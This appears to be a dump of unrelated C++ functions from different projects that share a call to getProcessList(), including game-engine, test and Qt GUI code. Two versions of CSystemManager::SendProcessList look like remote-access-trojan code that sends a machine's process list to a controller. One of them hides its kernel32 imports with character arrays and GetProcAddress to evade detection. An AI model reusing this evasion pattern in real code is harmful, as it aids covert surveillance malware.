void PhysicsForce::onRemove() { mWorld = NULL; mBody = NULL; getProcessList()->preTickSignal().remove( this, &PhysicsForce::_preTick ); setProcessTick( false ); Parent::onRemove(); }
void SceneObject::processAfter( ProcessObject *obj ) { AssertFatal( dynamic_cast<SceneObject*>( obj ), "SceneObject::processAfter - Got non-SceneObject!" ); mAfterObject = (SceneObject*)obj; if ( mAfterObject->mAfterObject == this ) mAfterObject->mAfterObject = NULL; getProcessList()->markDirty(); }
void CSystemManager::SendProcessList() { UINT nRet = -1; LPBYTE lpBuffer = getProcessList(); if (lpBuffer == NULL) return; Send((LPBYTE)lpBuffer, LocalSize(lpBuffer)); LocalFree(lpBuffer); }
void CSystemManager::SendProcessList() { UINT nRet = -1; LPBYTE lpBuffer = getProcessList(); if (lpBuffer == NULL) return; LocalSizeT pLocalSize=(LocalSizeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"LocalSize"); char DYrEN31[] = {'L','o','c','a','l','F','r','e','e','\0'}; LocalFreeT pLocalFree=(LocalFreeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN31); Send((LPBYTE)lpBuffer, pLocalSize(lpBuffer)); pLocalFree(lpBuffer); }
bool PhysicsForce::onAdd() { if ( !Parent::onAdd() ) return false; // Find the physics world we're in. if ( PHYSICSMGR ) mWorld = PHYSICSMGR->getWorld( isServerObject() ? "server" : "client" ); setProcessTick( true ); getProcessList()->preTickSignal().notify( this, &PhysicsForce::_preTick ); return true; }
TEST_F(MPIControllerDeathTest, shm_clean_up) { std::vector<int> pids = getProcessList(); // Give the controller a moment to initialize before we try to kill it. sleep(5); // This only works properly with 2 ranks: 1 for the controller and 1 for this // test. Any more than that and we'd need code here to track which rank is trying // to issue the kill so the non-controller ranks don't kill each other. kill(pids.front(), SIGINT); // Assuming that the lowest PID is the controller. sleep(5); // Give the controller a moment to handle the signal and do its clean up. EXPECT_FALSE(areShmKeysPresent()); std::ostringstream message; message << "Error: <geopm> Runtime error: Signal " << SIGINT << " raised"; EXPECT_TRUE(isMessageInLog(message.str())); }
void SceneObject::setProcessTick( bool t ) { if ( t == mProcessTick ) return; if ( mProcessTick ) { plUnlink(); mProcessTick = false; } else { // Just to be sure... plUnlink(); getProcessList()->addObject( this ); mProcessTick = true; } }
void SelectProcess::updateProcessList() { QList<ProcessInfo> list; auto table = ui->processList; table->clearContents(); table->setRowCount(0); if (getProcessList(list)) { for (const ProcessInfo &info : list) { QTableWidgetItem *name = new QTableWidgetItem(info.name); QTableWidgetItem *pid = new QTableWidgetItem(QString::number(info.pid)); const int row = table->rowCount(); table->setRowCount(row + 1); table->setItem(row, 0, name); table->setItem(row, 1, pid); } } else { addLogErr(trUtf8("Не удалось получить список процессов.")); } }